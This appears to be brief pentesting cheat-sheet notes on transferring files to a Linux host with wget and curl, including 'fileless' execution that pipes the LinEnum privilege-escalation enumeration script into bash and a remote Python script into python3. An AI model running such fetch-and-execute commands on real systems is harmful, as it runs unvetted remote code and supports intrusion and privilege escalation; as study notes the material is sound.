download file

wget <https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh> -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh <https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>

fileles

 curl <https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh> | bash
 wget -qO- <https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py> | python3